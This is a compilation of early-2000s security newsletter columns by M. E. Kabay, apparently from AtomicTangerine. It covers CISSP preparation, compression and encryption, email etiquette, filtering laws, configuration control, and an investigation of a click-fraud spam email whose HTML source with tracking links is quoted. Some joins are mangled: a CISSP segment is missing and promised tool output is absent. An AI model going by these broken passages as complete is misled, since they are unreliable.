When preparing for a penetration test that involves social engineering, everyone in the organization should be thoroughly trained to understand the techniques of social engineering before beginning the tests. The entire organization can prepare for social-engineering simulations as a team; no one is subjected to attempted deception without knowing that the experience was part of a training and awareness exercise. Even if someone falls for a trick, the emotional effect is far less than if the same error occurred without preparation. In an organization-wide debriefing, the results of the tests can be discussed so that everyone learns from the experience without feeling humiliated. The essential point is that by turning penetration analysis into a collective exercise, the disadvantages of social engineering can be reduced.

Preparing for the CISSP Exam (1)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

A reader and colleague recently asked me a few questions about the CISSP (Certified Information Systems Security Professional) exam and I thought readers might benefit from the interchange. Mr Pritsky (see < http://www.pritsky.net >) is one of the authors collaborating in the preparation of _*The Computer Security Handbook, Fourth Edition*_, edited by Sy Bosworth and myself. It will be published in 2001 by Wiley. In this first segment of a three-part series, I look at the exam itself.

* * *

Message text written by "N. Todd Pritsky"

>How does the CISSP compare to the SSCP in terms of the exam itself and the relative weight/importance of the certification<

Both are useful stages in professional development. Visit the (ISC)^2 Web site < http://www.isc2.org/ > where you will find a wealth of material about the CISSP and the SSCP.

The SSCP (Systems Security Certified Practitioner) is more hands-on and limited to technical issues. According to the description at < https://www.isc2.org/sscp_examover.html >, "The International Information Systems Security Certification Consortium, or (ISC)², working with a professional testing service, has developed a certification examination based on the SSCP Common Body of Knowledge (CBK). Candidates have up to 3 hours to complete the examination . . . which consists of multiple choice questions that address the seven topical test domains of the CBK. The information systems security test domains are:

* Access Control
* Administration
* Audit and Monitoring
* Risk, Response, and Recovery
* Cryptography
* Data Communications
* Malicious Code."

In contrast, the CISSP is deliberately designed to cover a wide range of topics that distinguish INFOSEC experts from other kinds of IT experts. As described on < https://www.isc2.org/cissp_examover.html >, "Candidates have up to 6 hours to complete the examination . . . which consists of 250 multiple choice questions that address the ten topical test domains of the CBK. The information systems security test domains are:

* Access Control Systems & Methodology
* {Computer} Operations Security
* Cryptography
* Application & Systems Development
* Business Continuity & Disaster Recovery Planning
* Telecommunications & Network Security
* Security Architecture & Models

* Physical Security
* Security Management Practices
* Law, Investigations & Ethics."

>What can you tell me about the exam itself? A lot of questions? Evenly distributed amongst the 10 domains? Multiple choice? Hands-on? I don't really know what to expect.<

CISSPs and all who take the exam are under non-disclosure agreement not to divulge the detailed content. See sample questions on the (ISC)^2 Web site.<

* * *

In the next segment of this three-part series, I will look at useful reading for future CISSPs.

* * *

Mich Kabay can be reached by e-mail at <mkabay@atomictangerine.com >. He invites inquiries about a wide range of information security courses and INFOSEC consulting services that he and his colleagues at AtomicTangerine would be delighted to deliver to your employees at your site and at your convenience.

Todd Pritsky (see < http://www.pritsky.net >) is one of the authors collaborating in the preparation of _*The Computer Security Handbook, Fourth Edition*_, edited by Sy Bosworth and myself. It will be published in 2001 by Wiley. In this first segment of a three-part series, I look at the exam itself. In this last of the three-part series, I look at conferences that are helpful to aspiring CISSPs and add a few comments on the general issue of preparing for professional certifications.

* * *

As part of your ongoing education in security, attend security conferences. Some of the top conferences (in alphabetical order by organizer) are run by

* Canadian Communications Security Establishment (CSE)

* Computer Security Institute conferences < http://www.gocsi.com >

* European Institute for Computer Anti-virus Research (EICAR) < http://conference.eicar.org/ >

* Information Systems Security Association (ISSA) <http://www.issa.org >(many regional conferences)

* MIS Training Institute < http://www.misti.com >

* NIST (National Institute of Standards and Technology) and the NCSC (National Computer Security Center) < http://csrc.nist.gov/nissc/call.htm >

* RSA Data Security <http://www.rsa.com >

* System Administration and Network Security Institute (SANS) < http://www.sans.org >

For much more extensive lists of security conferences, see

* The events list at CERIAS (Center for Education and Research in Information Assurance and Security) at Purdue University < http://www.cerias.purdue.edu/hotlist/detail.php?arg1=410&arg2=Events+%26+Call+For+Papers+/+Present >
* The Calendar of security and privacy related events maintained by the School of Computing at University of Utah, < http://www.cs.utah.edu/flux/cipher/cipher-hypercalendar.html >

>I'm not planning on sitting for the exam for several months, but I want to start allocating time resources, etc, now. Any guidance you can give is much appreciated.<

Read for half an hour on some subject in one of the required areas every day. Write articles about

security for your own company's security awareness program (or help to establish such a program) and for professional publications on areas you are trying to understand – articulating the information will force you to learn better.

* * *

This whole question of preparing for professional certification reminds me of my experience in working on my doctorate in the early 1970s. I saw that some students tried to cram for their exams, and I disliked the results. It was very irritating discovering that some of my colleagues who aced their exams had already forgotten the bulk of what they pretended to learn within a few months after the exams. So I resolved that I would just learn by osmosis. I read every day in my fields (applied statistics and invertebrate zoology). My lab notebooks had a literature search and explanation for each set of experiments as well as a discussion. When I took my doctoral comprehensive oral field exam, I didn't study for it at all; I just showed up at the meeting and had a ball discussing neat stuff with my professors (at one point my director had to insist, "Hey, this is supposed to be Mich's exam!" because we were all having such a good time arguing over some point of developmental biology). Similarly, when I took the CISSP exam, I didn't study for it at all and did fine. So just learn all the time, think critically, write and teach as much as you can and you'll do fine too.

Compression and Encryption

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

One of my colleagues asked me whether to compress a file before encrypting it or to encrypt before compressing it when sending the file through e-mail.

The answer is neither.

Compression algorithms such as that used in WinZIP look for repeated sequences (e.g., groups of blanks, the sequence "the " and so on) and define a table of abbreviations that can replace those repeated sequences by a short code. E.g., the frequently-used four-byte sequence "the " might be represented by a two-byte code of, say, "/5." [I'm just making up the code as an illustration.] You may have noticed that picture files (JPG, GIF and so on) often have very high compression ratios; the repeated sequences of similarly-colored pixels allows a high efficiency in substituting short codes for long repeated sequences.

In contrast, it is not usually possible to compress an encrypted file. A good encryption algorithm will produce few repeated sequences that compression algorithms can use. An exception might in theory be a very simple technique called monoalphabetic substitution, which is much like using the secret decoder ring we used to play with when we were kids (well, some of us <g>), which does not alter the frequency of repeated sequences.

PGP, in particular, always compresses a file _before_ it encrypts the data, so there is no need for us to do so manually. You can verify this claim by comparing the size of a PGP-encrypted file with the size of the WinZIP version of that encrypted file. For example, I just encrypted a simple 145 KB RTF file out of curiosity; the PGP file is 25 KB, the ordinary WinZIP file of the RTF is 23 KB, and the WinZIP of the PGP file is 25 KB.

To illustrate the effect, I encrypted the phrase "This sample has lots of repeated text. " The resulting PGP ciphertext was 241 bytes long. I then encrypted a buffer with 2048 copies of that phrase. The ciphertext was only 1053 characters long – a mere 4.4 times larger despite the 2048 times larger cleartext.

In summary, you don't have to compress a file before encrypting it. On the other hand, as my colleague Mike Money pointed out, if you have several files to send to the same people, putting them into a single archive and then encrypting the archive makes perfect sense even though there will be no significant reduction in size.

Protecting Your Reputation in Cyberspace: Introduction

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

This series of articles looks at how we can use e-mail and other electronic communications responsibly and professionally. It is intended to provide useful information for corporate INFOSEC awareness programs

* * *

I first started using e-mail in 1982 at work, when I was a "systems engineer" for Hewlett-Packard Canada. In the early 1980s, E-mail was restricted mostly to businesses and academic users; a few thousand individuals exchanged messages through bulletin board systems (BBSs), and there were various schemes for mail relay among BBSs and value-added networks (VANs) such as Prodigy and Compuserve. Basically, amateurs did not have much exposure to electronic communications.

In contrast, today millions of people have grown up using e-mail, chat rooms and news groups from their childhood or youth, quite apart from businesses and formal organizations. Because of the rapid rise of these high-tech communications media, there has been a rupture in civility. There is a disjunction between the customs of civility and courtesy that were defined for earlier generations in terms of speech, telephone and written communications and the habits of a couple of generations who have developed their own style almost free of guidance from older people.

There is nothing unusual about different modes of communication for different contexts; conversational spoken language, for example, sounds quite different from the formal speech of conferences or the structured writing of an article. Speech between two long-married people, for example, is highly idiosyncratic. Jean-Paul Sartre once said that a good marriage is like a conversation that never ends, but the conversation becomes quite peculiar after a while. I remember my wife's and my amusement when we heard a tape we accidentally made during a car trip when we must have somehow gotten a recorder going: it sounded completely off the wall ("Is that surprising?" I imagine some of you thinking) with sentence fragments, long companionable pauses, code words (e.g., "Do I have baboons?" "No, you have no baboons."), resumption of topics many minutes later as if there had been no intervening content, and a general lack of any obvious structure.

From a business point of view, however, some of the people most comfortable with electronic communications have developed some bad habits. This series will serve a guide to standards of appropriate behavior when employees are communicating online. Topic areas will include

* Selling Products and Services
* Netiquette for Beginners
* Public Relations Nightmares
* Appropriate Use Policies

* Protecting Your Web Site

* * *

Protecting Your Reputation in Cyberspace: Selling Products and Services

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

This series of articles looks at how we can use e-mail and other electronic communications responsibly and professionally. It is intended to provide useful information for corporate INFOSEC awareness programs

* * *

There is nothing inherently unethical about using the Net for selling products and services, but there are some fundamental problems peculiar to the Net: messages can be

* immortal;
* modified and become inaccurate;
* forged;
* unwanted.

Messages circulate on the Net without central control. Old copies of documents reside on individual servers and workstations and can be resuscitated years later. Imagine an advertisement for a special price on a company's product; having a client ask for that price two years later might cause problems if conditions have changed. However, from the client's point of view, the message may have arrived from a friend yesterday; even if the supplier explains that the sale is over, the client may be disappointed and perhaps even angry. From a commercial perspective, all communications offering goods and services ought to have a date of origin and an expiration date.

What good is an expiration date if someone alters it before rebroadcasting the message? For that matter, anyone can alter any aspect of a message before sending it back into the Net. The ultimate alteration is forgery: inventing a false message ostensibly from a specific person or organization To avoid embarrassment and possibly litigation based on misleading or libelous documents, one should be able to repudiate such messages. There is no absolute repudiation, but one can build a strong case for repudiating a message if one uses digital signatures on all communications (see "Why Everyone Should Sign their Digital Documents" from 2000-02-14 at http://www.nwfusion.com/newsletters/sec/0214sec1.html). If thousands of messages have all been signed digitally, then an unsigned message or a message with an invalid digital signatures can reasonably be repudiated.

* * *

In the next article in this series, I'll look at unsolicited and unwanted e-mail.

* * *

Mich Kabay can be reached by e-mail at <mkabay@atomictangerine.com>. Protecting Your Reputation in Cyberspace: Unwanted Messages

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

This series of articles looks at how we can use e-mail and other electronic communications responsibly and professionally. It is intended to provide useful information for corporate INFOSEC awareness programs

* * *

There are plenty of ways of marketing products and services electronically without offending anyone, violating standards of civility, or breaking the law. Using the World-Wide Web is one; generating and using legitimate, opt-in e-mail lists is another.

However, there are at least three types of unwanted messages: unsolicited commercial e-mail (UCE), usually called "junk e-mail" and sometimes known as "spam" (much to the horror of the trademark owners for "Spam" luncheon meat); chain-letters; and hoaxes.

Employees who are new to the Net may think naively that sending advertisements to millions of recipients at little or no cost sounds like a great deal. Certainly thousands of gullible nitwits have fallen prey to charlatans selling systems for sending out junk e-mail; many of these novices unthinkingly accept the notion of forging e-mail headers to avoid the consequences of their actions. However, no reputable organization will permit such abusive behavior; junk e-mail puts the organization into bad company, uses the recipients' resources (bandwidth, disk space, time) without permission, and generates outrage from many of the victims. That outrage can take both legal and extra-legal methods.

A notorious case of header forgery came to light in May1997, when Craig Nowak, a college student, chose a return address at random for his first attempt at junk e-mail. Unfortunately for his victim, "flowers.com" was a legitimate business whose owner received 5,000 bounced messages and plenty of abuse for supposedly spamming the world. Fortunately for the anti-spam cause, the enraged florist, Tracy LaQuey Parker, launched a lawsuit for damages and was supported by the Electronic Frontier Foundation and the Texas Internet Service Providers Association. In late September 1997, the plaintiffs won a temporary injunction against the defendant and his ISP preventing him from further use of the appropriated domain name (not that he'd have wanted to, at that point). In November 1997, the defendant was fined $18,910 plus court costs.

A different sort of response occurred in 1994. In the December issue of *Network World* an anonymous writer told the following story. Without knowing that he was violating standards, he posted a message about his company's products on about a dozen USENET groups. Within hours, he was swamped with abusive e-mail, abusive USENET group messages, and – worst of all – his company's 800 number was widely posted in alt.sex groups as if it were a free phone-sex line. The volume of calls (all of which were paid for by the company) by sex-seeking callers

not only saturated the company's phone lines, but also annoyed the receptionists to such an extent that one of them resigned and the other forwarded all the 800-line calls to the phone of the employee who started the whole mess. The 800 number had one of those fancy letter combinations and it was all over the company's advertising and letterhead, so changing the number was not an option; the company simply had to wait for the fuss to die down.

These cases are good enough reason to convince most sensible employees that sending junk e-mail is (shall we put it mildly?) not a good idea for their employers or for their careers.

Protecting Your Reputation in Cyberspace: The Prime Directive

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

This series of articles looks at how we can use e-mail and other electronic communications responsibly and professionally. It is intended to provide useful information for corporate INFOSEC awareness programs

* * *

The most important principle you can teach your network users is that every communication made using the organization's e-mail system should be considered as equivalent to something written on official letterhead. Lack of professionalism in such communications can seriously damage the entire organization's reputation and credibility.

We have already looked at spamming – sending unsolicited commercial e-mail. Other forms of unwanted messages include hoaxes and chain letters. Many hoaxes refer to non-existent malicious software; a general policy that makes sense is to explain to all users that they must not broadcast any warnings. Users alarmed by such messages should simply contact their technical support team and let experts investigate (and often debunk) stories of exploding monitors, damaged disk drives and the like. As for chain letters (messages asking people to forward a warning, health information, or a petition to everyone in the recipient's address book), adults ought to know better than to forward such drivel, but at least within the organization, such forwarding can be interdicted by policy.

A simple lack of professionalism is to send or publish correspondence (or worse, articles) with spelling, grammatical or factual errors. Yes, of course no one is perfect, and the occasional blunder is forgivable (I sure hope so, given the errors I have made in print). What I am referring to is slovenly writing: poorly thought-through ideas, poorly expressed. Anyone can use a spell-checker at the very least; even a grammar-checker is better than nothing. But if an employee is involved in public discourse, especially on an important and highly-visible topic, it might be a good idea to have the Public Relations (Marketing, Corporate Communications. . . .) experts check the content and style before launching it into the public sphere.

Another form of unprofessional behavior is "flaming." Many users of e-mail and of the USENET think that making rude remarks about the people with whom they are corresponding is just a normal way of expressing disagreement. But rudeness is unprofessional. It is inappropriate for a professional to use profanity, obscenity, sarcasm, and other demeaning modes of expression. Even more embarrassing is to see correspondents who make *ad hominem* remarks – comments about the personality or personal characteristics of others. "If you had bothered to read what I wrote. . . ." or "You are obviously incapable of understanding my point. . . ." and similar slurs and innuendos demean not only the recipient but also the sender. They can certainly embarrass the sender's employer.

The converse is that as recipients, we need to be tolerant of what may appear to be rudeness.

Not everyone has the practice required to write with sensitivity and subtlety, and sometimes people's sentences misrepresent their intentions. There is no cause for a professional to respond to other people's rudeness by descending into the written equivalent of a shouting match, regardless of provocation.

My own practice has been to avoid flaming back when I receive even private communications that cross the rudeness boundary. Over the years, I have occasionally written viciously vitriolic responses to rude people and laughed uproariously at how much fun it is to fight back. Then I have deleted the nastygrams and written back as politely as I can. The professional responses have not necessarily been friendly, but at least they were civil.

Corporate users should be made aware of these principles in policies and in training classes. It might even be fun having users practice responding to rude messages with civil responses as part of the classes.

Protecting Your Reputation in Cyberspace: Responsible Posting

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

This series of articles looks at how we can use e-mail and other electronic communications responsibly and professionally. It is intended to provide useful information for corporate INFOSEC awareness programs

* * *

We have seen in a previous article that posting advertisements in USENET news groups is a poor idea. Although not all news groups are moderated, there are nonetheless written or unwritten rules about whether advertising is welcome in any given group.

In general, there are some straightforward principles for being a responsible and welcome participant in a news group or other discussion forum:

* Lurk before you leap: learn about the specific style in use in the USENET group you intend to join. Do participants use formal or informal language? Do they seem to value pointers to documents produced by companies and other organizations? Is it appropriate to refer to your own products in this particular forum?

* Remember that on the USENET, everything you write may be archived and available indefinitely. Keep that in mind at all times before posting anything.

* Don't flame people (as discussed in a previous article).

* Avoid profanity, ethnic/religious slurs, and other offensive language.

* Stick to the forum/section subject area: don't post materials that are irrelevant to the subject, no matter how interesting you think it ought to be to participants. For example, most people in, say, a Windows 2000 technical discussion group would find it offensive to be told about human-rights violations in, say, Kosovo, no matter how important the topic may be in a wider sense.

* Make messages concise. In most groups, netiquette proscribes quoting an entire message; generally it's enough to quote just enough of a text to make it clear how your response is germane.

* Respect copyright laws: don't publish someone's comments elsewhere without asking for and receiving permission.

* * *

Mich Kabay can be reached by e-mail at <mkabay@atomictangerine.com>. He invites inquiries about a wide range of information security courses and INFOSEC consulting services that he and

his colleagues at AtomicTangerine would be delighted to deliver to your employees at your site and at your convenience. For information about AtomicTangerine, visit < http://www.atomictangerine.com >.

Protecting Your Reputation in Cyberspace: No Covert Ads or Shills

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

This series of articles looks at how we can use e-mail and other electronic communications responsibly and professionally. It is intended to provide useful information for corporate INFOSEC awareness programs

* * *

In addition to the general rules on civil collaboration in USENET groups and mailing lists, vendor staff should understand that only honesty is acceptable in selling products. It is unacceptable to post forum messages that are covert advertisements. Responses should be focused on the issue at hand and should be as helpful as possible. Forums, newsgroups may have strict standards and there may be negative responses to introduction of your company name and product without clear benefits to recipients. Repeated marketing hyperbole in technical forum repels potential customers. Indeed, even subtle propaganda will be punished: beware of posting superficially-objective responses that are slanted: misleading information will inevitably be punished by public exposure, humiliation of the guilty, and embarrassment of the employers.

Much worse than propaganda from an identified employee of a company is propaganda in the guise of disinterested comment. Company policy should make it clear that employees who are posting information that is relevant to company interests should clearly identify themselves as employees. Commenting on competitive products or services or praising one's own without clearly identifying oneself. Such shills are highly objectionable, and group members will often express their disapproval in the strongest terms. Shills may be locked out of controlled-access groups, both individuals and employers may receive torrents of abuse, and the effects may last for a long time.

Conversely, it is appropriate to post a disclaimer when appropriate to indicate genuine disinterest; e.g., "Neither the authors nor their employers have any financial interest in the companies, products and services mentioned in this communication."

* * *

Protecting Your Reputation in Cyberspace: Don't Talk to Strangers

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

This series of articles looks at how we can use e-mail and other electronic communications responsibly and professionally. It is intended to provide useful information for corporate INFOSEC awareness programs

* * *

There's a funny thing about becoming an active member of a discussion group – whether in real-space or in cyberspace. The longer you participate, the closer you feel to the regulars. There's a sense of camaraderie, of belonging to a group of interesting people; indeed, in some real and electronic groups, the regulars act like a regular clique. Like the snotty brats in high-school cliques, these folks treat newcomers with disdain and assume a position of superiority that can be truly offensive.

However, that same sense of camaraderie, even when it is expressed positively and not through putting down others, may fool employees into forgetting that they don't necessarily know with whom they are corresponding. Furthermore, they don't know who is lurking (reading the exchanges without contributing). The audience may very well include people from direct competitors, and there is nothing illegal about using information that is posted openly in a public forum.

Employees should not post intimate details of a particular project, a new product version, plans for expansion in a new geographical area, their employer's marketing strategy or inside information that could violate Securities and Exchange prohibitions on reveling insider information that could affect share prices. Appropriate use policies should make it clear to everyone that by definition, confidential information may not be disseminated outside the organization. Only the Public Relations or Corporate Communications / Marketing departments would normally be authorized to decide how and what to post publicly.

The principle of discretion applies equally well to criticisms of the employer, partners, suppliers, or individuals. It is foolish to think that broadcasting internal grumblings about an employer will be ignored by management. Such public criticisms can severely damage the organization. Now, if the organization is breaking the law, employees can report the crimes to law enforcement or regulatory authorities; however, posting details in public may make it difficult or impossible for investigators to gather information that will be usable for prosecution. Employees who have resigned or who are fired might also want to check the terms of their contracts; some employment contracts impose a gag on criticism even after an employee has left the employ of an organization. When in doubt, consult an attorney with experience in employment law and litigation.

One last note: employees should remember that most of what is posted on the USENET is archived and can be available to prospective employers years later. If employees fail to protect

the interests of one employer, what would convince a new employer that their discretion would be any greater in the future?

On the Case with *Sam Spade*

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this newsletter, I thought some readers would enjoy seeing the steps in finding out the details of yet another e-mail scam: fraudulent click-throughs.

On Dec. 23, 2000, I received an HTML invitation from a stranger to try a "new game." Unimpressed by the warmth of the invitation and suspicious of any attachment, I looked at the source code and found some peculiar aspects:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>
<title>Untitled</title>
</head>

<body><P ALIGN=CENTER>
<A
HREF="http://www.findcommerce.com/tracking/sarefer.dll?HostBannerID=23589"
TARGET="_top" onmouseover="window.status='CLICK IT';return true">
<font size="+1">click here</font></A><IMG
SRC="http://www.whispa.com/tracking/exposure.dll?263589" WIDTH=1
HEIGHT=1
BORDER=0><br><br>To join new game for free<br>No charge</p>

</body>
</html>
```

The source suggested that the intent of this information was primarily to track responses, not to convey information.

I then turned to the Sam Spade 1.14 network utility (see http://www.samspade.org/ssw/ for details of this useful freeware) and quickly found that the headers were forged.

Between the asterisks below is what the program returned to me (note that the commentary - e.g., "My comments are just hints" - is the program's, not mine.):

The registration for "findcommerce.com" is the same.

The Tech Contact phone number had been disconnected. The U.K. number city code 181 had been changed to 208, and I was able to get through to the changed number.

I spoke with Leo Scheiner, the administrative contact, who turned out to be a good guy. He very kindly explained the situation. The company normally counts hits on banner ads; it has nearly 100,000 subscribers. These subscribers are paid according to how many people click on those banner ads from their sites.

In this case, the perpetrator was a sleazy operator. It seems that this crook was trying to generate revenue by fraudulently generating clicks on his assigned URL. He did so by using unsolicited commercial e-mail to trick gullible people into creating fruitless clicks on his assigned URL.

MORAL: Don't click on URLs that you receive in junk e-mail.

Filters Get Clogged:
Legal and Technical Problems for Internet Filtering (1)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

A couple of items lately caught my eye concerning Internet content filtering software (a.k.a. "censorware"). I was first made aware of the issues through journalist Declan McCullagh's excellent POLITECH mailing list <http://www.politechbot.com/info/subscribe.html >.

The first item is that in mid-December, without much public fanfare, Congress passed the Children's Internet Protection Act (CIPA) and the Neighborhood Internet Protection Act (NIPA), and President Clinton signed them into law (Public Law 106-554). These laws, effective as of April 20, 2001, penalize any libraries that don't use blocking or filtering software ("censorware"); the penalty will consist of elimination of discounts (the "E-rate") currently provided under the Library Services and Technology Act, Title III of the Elementary and Secondary Education Act and the Universal Service discount program. For full details of the CIPA see the American Library Association's CIPA Web page at < http://www.ala.org/cipa/>.

On January 18th, the ALA announced that the Association will launch legal action challenging the constitutionality of the CIPA. Their press release included the strong statement, "No filtering software successfully differentiates constitutionally protected speech from illegal speech on the Internet. Even the federal commission appointed to study child safety on the Internet concluded filters are not effective in blocking all content that some may find objectionable, but they do block much useful and constitutionally protected information."

The second item popped up in FindLaw's DOWNLOAD THIS! ("A Weekly Newsletter Covering Law and the Internet") Issue # 18< http://my.findlaw.com > for January 19, 2001. The abstract explained that users of Microsoft's Hotmail service have been unable to send e-mail to the anti-censorware group Peacefire <http://www.peacefire.org >for the last five months (see < http://news.cnet.com/news/0-1005-201-4523924-0.html > and for details). Seems Hotmail silently trashed outgoing e-mail to Peacefire because that organization happens to be hosted by an ISP on the Realtime Blackhole List <http://mail-abuse.org/rbl+/ >, a project of the Mail Abuse Prevention System (MAPS) to automate exclusion of Internet communications with violators of its anti-spam guidelines. The critical issue is that Hotmail did not tell its users the truth about the discarded e-mail: according to Bennett Haselton, writing in RISKS <http://catless.ncl.ac.uk/Risks/21.22.html#subj9 >, "If you tried to send mail to a peacefire.org address from HotMail, you'd get a fake error message a day later saying that there was a problem on the recipient's end -- when it was really HotMail blocking the message from being delivered." This block has been listed for Peacefire's ISP, but it remains in effect for many other blocked sites. You would think that simple honesty (if courtesy is beyond reach) would make Hotmail staff explain the problem truthfully.

In the next part of this article I will look at how these two items are fundamentally related.

Filters Get Clogged:
Legal and Technical Problems for Internet Filtering (2)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In the first of these two short articles, I described how the American Library Association is planning to fight the new Children's Internet Protection Act (CIPA) and the Neighborhood Internet Protection Act (NIPA) which will take effect in April 2001 and put pressure on libraries to install filtering software. The second item in the story was that Hotmail blocked access to the Peacefire organization's Web site using misleading messages pretending that the outbound mail had bounced (when in fact it had been discarded by Hotmail).

So how are these two items connected?

One strand is that Peacefire happens to make freeware to disable censorware. The organization also has informal quality assurance studies on the inability of censorware to avoid false positives; i.e., all of the censorware products they study block access to many sites using false explanations for the blockage. See < http://www.peacefire.org/amnesty-intercepted/ > for a full report on the sites blocked; they include Amnesty International Israel, Amnesty International at New York University, Canadian Labour Congress, Algeria Watch, American Kurdish Information Network, Strategic Pastoral Action Network, International Gay and Lesbian Human Rights Commission, Human Rights for Workers, Peace Magazine, The International Conference Combating Child Pornography on the Internet, The International Coptic Congress and many others involved in human rights and progressive causes. So much for freedom of reading for the youth of America; never mind the First Amendment prohibiting the government from pre-emptive interdiction of political speech. In addition, the Peacefire report points out that some censorware products are forthright in explaining that they have blocked access; however, others simply silently interdict the connection, leaving the browser to put up a generic message indicating (falsely) that the target site was not reponding. In addition, Peacefire presents convincing evidence that some censorware companies are being untruthful in claiming that a human being examines every page that is added to the Index Paginorum Prohibitorum*. If the Web page for Dagistan, which is devoted to civil rights for untouchables in India, was put on such a list by a human being, then the human being should be put on the Index Personarum Stupiditarum.

The second strand is that both of these stories involve the abdication of human communications in favor of an easy way out: automatic filtering. Both the Hotmail decision to lie to its customers and the thinking behind the CIPA express contempt for human responsibility; they discount the value of respectful, honest interpersonal and professional relationships in favor of sloughing responsibility onto automated processes.

In a recent interview I was asked about why I think that adult supervision and teenaged monitors are preferable to blocking software in schools and libraries. I answered, "A program cannot teach values; a thoughtful human being with sensitivity can talk to a child and explain the implications of different kinds of misuse. An adult or even an intelligent older student serving as a monitor or prefect can provide a role model for kids. A computer program can at worst make a kid even more determined to overcome the barriers it rigidly imposes without explanation."

* [Note for pedantic readers (I know you're out there): the Index Librorum Prohibitorum was a list of books forbidden to Catholics that the Vatican promulgated until 1948. The basis for inclusion in

the Index was that the books might challenge readers' acceptance of Church dogma. Latinists are requested to forgive my rusty Latin (my five years of Latin studies ended in 1965): I can't remember the ending for the female genitive plural.][And I wonder if THAT will get this column put on the censorware list?]

Testing Patches

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

A reader wrote,

>From time to time I receive news bulletins pertaining to patches to Cisco's IOS and/or attacks. However, once a patch is implemented, how can we test it actually solved the problem? The client for whom the work gets done gives us a period of 'down time' within which to test. Since I have signed many NDAs with Cisco, is there a site / person / newsletter or anything else that actually describes the procedures that hackers use to attack the IOS and the routers.<

There are many firms, including AtomicTangerine, which can carry out penetration tests which will include verifying that patches are up to date and functioning. Just be sure that you obtain contractual confirmation that the firm does not hire criminal hackers. The last thing you need is to have untrustworthy people testing your security.

However, I think that testing individual patches is less important than the fundamental underpinnings of good information security:

* keeping security policies and architecture consistent with current needs by periodically re-evaluating the security architecture, including policy and procedure, facilities security, hiring / management / firing practices, perimeter security, and data transmission security;

* maintaining security as an integral part of corporate culture through effective awareness programs;

* monitoring current vulnerabilities by subscribing to vendor and CERT-CC bulletins;

* maintaining a sound intrusion-detection capability and rapid response to attacks and intrusions.

Sources of attack scripts include books, articles, USENET newsgroups and Web sites.

AMAZON.COM lists many books if you enter keyword "hackers"; unfortunately, some of these books are written by criminal hackers, and I hate to give them a penny. You might want to support security professionals by buying books from people who don't boast about breaking the law, but I know that the criminals do provide detailed attack scripts.

One of the most important attack/vulnerability USENET groups is BugTraq, which is described as "a full disclosure moderated mailing list for the *detailed* discussion and announcement of computer security vulnerabilities: what they are, how to exploit them, and how to fix them." Its archives are at <http://www.securityfocus.com/bugtraq/archive>. Although some posters use pseudonyms, BugTraq is a serious list mostly supported by security professionals.

If you do visit criminal-hacker Web sites, may I suggest that you restrict cookie-exchange and that you bar active content (ActiveX, Java) while browsing there?

PC Security Depends on Configuration Control

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

Reader Tracy Southworth has very kindly allowed me to quote an interesting message she wrote to me last year:

>The articles on security are very interesting and have offered many ideas over the months about how to enlist people in the organization to participate in security.

The problem is that this advice is constantly contradicted by the advertising one sees on the Internet. It's take a look at this, try this, click this all day and no matter how well intentioned people are, they are only human and will eventually click on a link that installs something on their PC. It seems to me that the problem is not with the staff, but rather that the operating systems (Windows) are tied so strongly with the Internet access that there is really no such thing as a secure system anymore.

I would like to see a series of articles that addresses this problem and how we can build bullet-proof systems. Specifically, technologies other than strong passwords to identify users, systems that do not allow software to be installed and other ways to lock down platforms to enforce security. I remember a program we used to use called pcRdist that would check all the files on the PC against an image on the network and download or erase files until everything matched. It was a good way to maintain PCs in a University library setting where you wanted to ensure conformity.

The point is that we have built insecure systems (with all this Internet access) and having to rely on users to make them secure for us just doesn't make sense to me. <

I think you have identified a major practical problem for decentralized, PC-based working environments. Although data centers had disadvantages too, centralized control did at least help to limit unauthorized and poorly-conceived mixtures of software, installation of untrusted products, and misconfiguration of software and hardware parameters.

Configuration management (CM) can be broken into two major areas: software CM (SCM) and network CM (NCM).

Some useful Web resources dealing with SCM:

* The USENET group < newsgroup comp.software.config-mgmt > focuses on software development configuration control (making sure that the right versions of software are being compiled and installed) and has a FAQ list at < http://www.iac.honeywell.com/Pub/Tech/CM/ >.

* The Institute of Configuration Management has extensive links to a wide variety of

information in the software CM and is available at < http://www.icmhq.com/ >.

For NCM, see for example

* White papers on NCM from ON Command, makers of the CCM (Comprehensive Client Manager) product that allows centralized deployment of authorized software to PCs on a network; see < http://www.on.com/dlctr.htm#whitepapers > for more information.

* Program Security Guard (PSG) from Reflex Magnetics < http://www.reflex-magnetics.co.uk/products/dn_5.htm >, which is described as follows: ". . . PSG allows you to set file and folder protection that the user cannot bypass. PSG will prevent modification or deletion of existing files, and any changes to applications. PSG will also prevent any executable files from being installed, giving the Administrator full control of all software running on the network."

* A little 228 Kb shareware program called PC Security Guard "will look through all the places where an unwanted intruder (trojan or some kind of logger) can be run from and shows you suspicious entries. It can automatically recognize most common trojans. The program will check registry, .ini files, autoexec, startup folder, VxD. . . ." See < http://www.geocities.com/SiliconValley/Hills/8839/pcguar.html > for information and downloads.

* FolderGuard v4.14 from WinAbility < http://www.winability.com/folderguard/ > is described as allowing an administrator to curtail configuration changes of many kinds by PC users. Some of the features described:
– Actually hide files and folders
– Make files and folders read-only for real
– Protect files and folders with passwords
– Prevent users from installing unauthorized programs
– Prevent users from running programs from the floppy disks
– Prevent users from reformatting local drives
